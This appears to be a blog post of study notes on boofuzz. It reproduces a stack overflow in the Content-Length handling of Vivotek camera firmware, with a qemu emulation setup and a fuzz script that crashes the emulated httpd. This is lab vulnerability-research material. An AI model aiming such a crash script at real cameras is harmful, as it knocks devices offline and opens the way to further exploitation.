boofuzz学习
boofuzz学习
常见的命令
创建虚拟环境
python3 -m venv env
启动虚拟环境
source env/bin/activate
安装 boofuzz
pip install boofuzz
文档
学习
让ai写一个简单的测试脚本
from boofuzz import *
def main():
session = Session(
target=Target(connection=SocketConnection("127.0.0.1", 9999, proto="tcp"))
)
# 定义一个消息:先发送 "HELLO ",然后变异后面的字段
s_initialize("Request")
if s_block_start("main"):
s_static("HELLO ")
# fuzz 一个长度可变的 ascii 字段
s_string("WORLD", fuzzable=True)
s_static("\r\n")
s_block_end()
session.connect(s_get("Request"))
session.fuzz()
if __name__ == "__main__":
main()
然后再另外一个终端上nc -l 9999,效果如下。

callback=add_auth_callback 是用来设置钩子函数。
Vivotek摄像头固件栈溢出漏洞
启动流程
linux 启动流程
/etc/inittab -> /etc/init.d/rcS ,根据注释这段代码是启动守护进程的,我们想要的 web 服务也是再守护进程的。

但是rcS软连接到 ../mnt/flash/etc/rcS.d 但是找了一下发现为空,返回到 _31.extracted 这一级目录,搜索一下 rcS.d

发现里面是软连接,http 服务是启动 /etc/init.d/httpd。

以httpd服务为例,启动过程如下:
/etc/init.d/rcS -> /etc/rcS.d/S31httpd -> /etc/init.d/httpd -> /usr/sbin/httpd
漏洞点
报告上写的是在 Content-Length 字段存在漏洞,找到如下代码:
虽然使用的 strncpy 函数进行拷贝,但是 v34 - (v35 + 1) 并没有做任何限制。


仿真环境
直接使用用户态进行模拟
cp /usr/bin/qemu-arm-static Path_to/squashfs-root
sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd
报错如下,结合上面的分析,这是因为在31.extracted/_rootfs.img.extracted/squashfs-root/etc的 conf.d 是一个错误的软连接,解决也很好想重新在软连接一下,但是考虑等会我们要将 squashfs-root 作为根目录,当然也可以不将它作为根目录,但是直接将31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc中的全部文件复制到31.extracted/_rootfs.img.extracted/squashfs-root/etc 更方便

复制后的报错如下:

在程序中定位一下字符串gethostbyname

因该是配置文件中的主机名和 ip 不对应。
查看etc/init.d/httpd发现还需要输入参数-c /etc/conf.d/boa -d 。

sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd -c /etc/conf.d/boa -d
还需要将宿主机中/etc/hosts文件夹中的内容全部复制到固件文件系统的/etc/hosts文件中去。

成功启动

抓包
抓下包看下格式
GET /cgi-bin/admin/upgrade.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: webptzmode=continuous
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
脚本
from boofuzz import*
IP = "127.0.0.1"
PORT = 80
def check_response(target,fuzz_data_logger,session,*args,**kwargs):
fuzz_data_logger.log_info("Checking for response ...")
try:
response = target.recv(512)
except:
fuzz_data_logger.log_fail("Unable to connect ...")
return
if not response:
fuzz_data_logger.log_fail("Empty response ...")
target.close()
return
fuzz_data_logger.log_info("Start checking ...\n"+response.decode())
target.close()
return
def main():
session = Session(
target=Target(connection=SocketConnection(IP,PORT,proto="tcp"),
),
post_test_case_callbacks=[check_response],
)
s_initialize(name="FUZZ")
with s_block("Request-Line"):
# Method
s_group("Method",["POST"])
s_delim(" ",fuzzable=False)
s_string("/cgi-bin/admin/upgrade.cgi ",fuzzable=False,name="URI")
s_static("HTTP/1.1",name="Version")
s_static("\r\n",name="CRLF")
# Host
s_static("Host")
s_delim(": ",fuzzable=False)
s_string("127.0.0.1",fuzzable=False,name="IP")
s_static("\r\n")
# Connection
s_static("Connection")
s_delim(": ",fuzzable=False)
s_string("Close",fuzzable=False,name="Active")
s_static("\r\n")
# Content-Length
s_static("Content-Length")
s_delim(": ", fuzzable=False)
s_string("65", fuzzable=True)
# End
s_static("\r\n")
s_static("\r\n")
session.connect(s_get("FUZZ"))
session.fuzz()
if __name__=="__main__":
main()
运行效果
目标主机直接崩溃

可以访问http://localhost:26000/看一下运行信息。


浙公网安备 33010602011771号